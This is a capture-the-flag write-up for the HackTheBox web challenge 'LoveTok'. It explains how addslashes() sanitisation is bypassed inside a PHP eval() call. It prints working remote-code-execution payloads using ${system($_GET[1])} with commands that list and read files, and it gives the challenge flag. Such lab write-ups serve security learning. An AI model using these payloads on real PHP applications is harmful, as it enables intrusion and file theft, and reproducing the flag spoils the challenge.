Dear readers,
Today’s post is on LoveTok, a web challenge in HackTheBox. The challenge was created on 13th February 2021. It is a sanitation addslashes() bypass challenge so read on if you are interested!

Files provided
There are a number of files provided as well as the dockerfile to set up the server. You may download the files here. An IP address with a port number is also provided when you start the instance on the HackTheBox website.
Outlook of the website

If we clicked on the “Nah, that doesn’t work for me. Try again!” button, a new time will be shown (see Fig 2b). However, we will notice the URL has changed where “?format=r” has been appended.
http://206.189.20.127:31160/?format=r

Analysis
Looking at the source code given, I found two interesting files which are TimeController.php and TimeModel.php. In the TimeController class, we can see that the code takes in value from the ‘format’ key and pass it as a parameter to the TimeModel class as shown below.
$format = isset($_GET['format']) ? $_GET['format'] : 'r'; $time = new TimeModel($format);
If you remember the change in the URL in the “Outlook of the website” section where “?format=r” is appended, the value “r” is being passed to the TimeModel controller.
If we look at the code in TimeModel class, we will notice that our value from the “format” parameter is being sanitized by addslashes() which will add a forward slash in front of ‘, ”, \, and NULL byte.
public function __construct($format)
{
$this->format = addslashes($format);
If we look at the next function, we will see that our input is being executed inside eval() which is the vulnerability as we can easily obtain Remote Code Execution (RCE) to obtain our flag.
public function getTime() { eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
Just like SQL injection, we should be able to end the quote and add our malicious code into the eval() as shown below. The yellow font is the value I could have added from my parameter to end the quote and do a system call resulting in RCE.
eval('$time = date("");system("ls /")//", strtotime("'' . $this->prediction . '"));');
However, remember that is an addslashes() that will sanitize our input 1st. Therefore, we have to use other ways to bypass it. Use of URL encoding will not work as $_GET will automatically decode our encoding before running addslashes(). After Googling, I came across an interesting article to bypass addslashes() using a complex variable. You can read the post by programmersought here. Basically, complex variables will utilize double quotes (“) and use $ variable in them as well as {} barriers. Below shows examples of a complex variable and its output.
$a = 1; echo 'a is $a'; // result: a is $a echo "a is $a"; // result: a is 1 echo "${a}bc"; // result: 1bc function b() { return "a"; } echo "a is ${b()}"; // result: a is 1 as it gets a is $a 1st
Based on that we can craft out our exploit.
Craft exploit
Using complex variables, we can first craft out to print the information of the PHP used using phpinfo() where phpinfo() will execute 1st.
http://206.189.20.127:31160/?format=${phpinfo()}
Since PHP in the server is not executed in Command-line Interface (CLI), the whole HTML document of the information of PHP run on the server will be sent to us. We will then obtain the PHP information shown in Fig 4a.

Next, we can try to use system() instead so that the output of the system() will automatically be shown on the client-side just like using echo “abc” will cause the string “abc” to be shown on the client-side in the browser.
http://206.189.20.127:31160/?format=${system("ls")}
However, remember that double quotes are being sanitized? Therefore, we can use another way by reading the value from a variable which in this case is reading input from another GET parameter. Since $_GET is a dictionary, the key can be a number. So we can set the 2nd parameter to be 1=ls or 0=ls, etc, and read it using $_GET[1] or $_GET[0] respectively.
http://206.189.20.127:31160/?format=${system($_GET[1])}&1=ls
If we look at the dockerfile, we will see that the flag is in the / directory hence we need to list the files at that location.
... # Copy flag COPY flag / ...
Therefore, our exploit URL should be (+ means <space> in URL encoding):
http://206.189.20.127:31160/?format=${system($_GET[1])}&1=ls+/
The file in the / directory can be seen in Fig 4b.

We can see that our flag file is flagepfnx which the file name for the flag is probably different for each server.
Flag obtained
Finally, we can crafted out the exploit URL to obtain the content of the flag.
http://206.189.20.127:31160/?format=${system($_GET[1])}&1=cat+flagepfnx

Flag: HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}
I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂